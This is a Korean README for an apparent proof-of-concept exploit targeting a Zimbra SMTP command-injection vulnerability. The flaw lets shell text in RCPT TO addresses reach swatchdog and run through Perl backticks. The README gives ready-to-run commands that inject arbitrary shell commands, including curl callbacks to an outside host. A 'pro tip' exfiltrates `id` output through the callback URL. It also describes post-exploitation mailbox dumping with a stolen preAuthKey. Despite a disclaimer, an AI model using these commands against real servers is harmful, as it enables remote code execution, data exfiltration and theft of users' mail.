
# CVE-2026-73570 Python PoC Zimbra의 SMTP 명령 주입 취약점에 대한 Python PoC입니다. swatchdog를 통한 셸 명령 실행을 유발하기 위해 변조된 RCPT TO 페이로드를 전송하며, 자동 포트 스캐닝 및 OOB 검증 기능을 포함합니다.
SMTP 명령 주입 취약점(CVE-2026-73570)을 테스트하기 위한 커스텀 저수준 Python PoC(Proof-of-Concept) 스크립트입니다.
이 도구는 셸 스타일 명령 치환(예: $(command))이 포함된 비정상적인 RCPT TO 주소를 전송하여 대상 메일 서버 또는 다운스트림 처리 파이프라인이 주소를 셸에 무단으로 전달하는지 여부를 확인합니다.
⚠️ 면책 조항: 이 도구는 교육 목적 및 승인된 보안 테스트 전용입니다. 대상 인프라를 테스트할 수 있는 명시적 권한이 있는지 확인하십시오. 메일 서버에 대한 무단 스캔 또는 악용은 불법입니다.
모든 Zimbra 박스가 취약한 것은 아닙니다. 다음 조건이 모두 충족되어야 합니다:
zimbra-snmp 패키지가 설치되어 있어야 합니다(설치 시 자주 프롬프트가 표시됨).snmp_notify).swatchdog 서비스가 실행 중이어야 합니다(기본적으로 실행됨).공격 표면: 공격은 SNMP(UDP/161/162)가 공격자에게 노출될 필요가 없습니다. 악성 입력은 표준 SMTP를 통해 전달됩니다.
swatchdog 프로세스는 의 구성을 사용하여 를 추적합니다. 다음 정규식을 사용하여 로그 항목을 적극적으로 매칭합니다:
/opt/zimbra/conf/swatchrc.in/var/log/zimbra.log/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
(.*) 캡처 그룹은 서비스 이름으로 처리됩니다. 그런 다음 dosnmp 스크립트는 캡처된 텍스트를 Perl 백틱 snmptrap 명령에 직접 삽입합니다. Perl 백틱은 시스템 셸을 통해 실행되므로 (.*)에 캡처된 셸 메타문자는 평가되고 실행됩니다.
공격자는 실제 서비스 상태 줄처럼 보이는 인수를 가진 SMTP 명령(예: RCPT TO)을 전송하여 악성 텍스트를 로그에 넣습니다. Postfix는 이를 잘못된 주소 구문으로 기록하지만, swatchdog는 여전히 로그 줄에서 정규식을 매칭하고 페이로드를 셸에 전달합니다.
smtplib 내부 주소 검증을 우회하여 공격자가 보내는 것과 정확히 동일한 비-RFC 준수 페이로드를 전송합니다.--command 플래그를 통해 임의의 셸 명령을 허용합니다.argparse로 구축되었습니다.스크립트를 CVE-2026-73570.py(또는 원하는 이름)라는 파일로 저장합니다:
# 예: 파일 다운로드 또는 생성
nano CVE-2026-73570.py
테스트 시나리오에 따라 여러 가지 방법으로 스크립트를 실행할 수 있습니다.
포트를 지정하지 않으면 스크립트는 포트 25, 465, 587을 스캔하고 자동으로 첫 번째 열린 포트를 대상으로 합니다.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
대상 포트를 이미 알고 있는 경우(예: 465), 스캔 추측을 건너뛸 수 있습니다.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
페이로드를 전송하지 않고 대상의 메일 포트가 열려 있는지만 확인하려는 경우.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argument | Short | Description | Default |
|---|---|---|---|
--host | -H | 대상 호스트 IP 또는 도메인. | 127.0.0.1 |
--port | -p | 대상 포트. 생략하면 25, 465, 587을 스캔하고 열린 포트를 대상으로 합니다. | None (자동) |
--command | -c | SMTP 페이로드에 주입할 셸 명령. | TEST_PAYLOAD |
--scan-only | -s | 포트만 스캔하고 주입 페이로드를 전송하지 않고 종료. | False |
스크립트를 실행하는 것만으로는 메일 서버가 비정상적인 RCPT TO 주소를 수신한다는 것만 증명됩니다. 대상의 파일 시스템이나 로그에 직접 접근하지 않고 실제 명령 주입을 확인하려면 HTTP를 통한 OOB(Out-Of-Band) 콜백을 사용하십시오.
http://xyz123.requestrepo.com)을 복사합니다.curl을 사용하여 고유 URL을 호출하도록 스크립트를 실행합니다:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
프로 팁(데이터 유출): 콜백의 URL 경로에 명령 출력을 주입하여 유출할 수 있습니다:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Request Repo 대시보드에서 요청된 경로에 uid=0(root) 출력이 표시되는지 확인하십시오.
테스트 중에 다음과 같은 SMTP 응답을 받을 수 있습니다:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
주소가 거부되었다고 해서 취약점이 실패했다고 가정하지 마십시오.
많은 메일 서버(Postfix 또는 Exim 등)는 SMTP 트랜잭션 중에 페이로드를 구문적으로 수락하지만, 도메인/수신자가 허용된 릴레이 목록에 없기 때문에 전달 시도를 즉시 거부합니다.
CVE-2026-73570 취약점은 이 거부 이후에 트리거됩니다. 악성 문자열은 잘못된 주소 구문 로그 항목으로 /var/log/zimbra.log에 흘러 들어갑니다. swatchdog는 이 로그를 추적하고 페이로드를 매칭하여 셸에 전달합니다.
페이로드는 여전히 로깅을 위해 이러한 백엔드 시스템에 도달하므로 명령 치환($())은 여전히 실행됩니다. SMTP 응답 코드와 관계없이 항상 OOB 콜백(예: Request Repo)에 의존하여 성공을 확인하십시오.
swatchdog 주입을 통해 명령 실행이 달성되면 공격자는 일반적으로 zimbra 사용자로 작동합니다. 이 시점에서 주요 목표는 종종 사서함 데이터에 접근하는 것입니다.
이 다음 단계를 용이하게 하기 위해 zimbraKing — Zimbra 사서함을 덤프하도록 설계된 커스텀 도구를 사용할 수 있습니다.
사용 시나리오:
사후 악용 단계에서 Zimbra 구성 파일을 읽고 preAuthKey(일반적으로 /opt/zimbra/conf/localconfig.xml의 zimbra_preauth_key 키 아래에 있음)를 추출할 수 있거나 유효한 Zimbra 계정 자격 증명을 얻은 경우 이를 zimbraKing에 입력할 수 있습니다.
이 도구는 preAuthKey 또는 계정 자격 증명을 활용하여 Zimbra SOAP API에 인증하고 기본 데이터베이스나 파일 시스템과 직접 상호 작용할 필요 없이 대상 사서함 내용을 체계적으로 덤프합니다.
smtplib를 사용하지 않나요?Python의 내장 smtplib는 엄격한 RFC 표준을 적용합니다. ", $, (, )가 포함된 주소를 smtplib.sendmail()에 전달하려고 하면 라이브러리는 문자열을 "안전하게" 만들기 위해 변형하거나 데이터가 네트워크에 도달하기 전에 SMTPRecipientsRefused 예외를 발생시킵니다. 이 커스텀 클라이언트는 원시 소켓을 사용하여 익스플로잇 페이로드의 바이트 단위 전달을 보장합니다.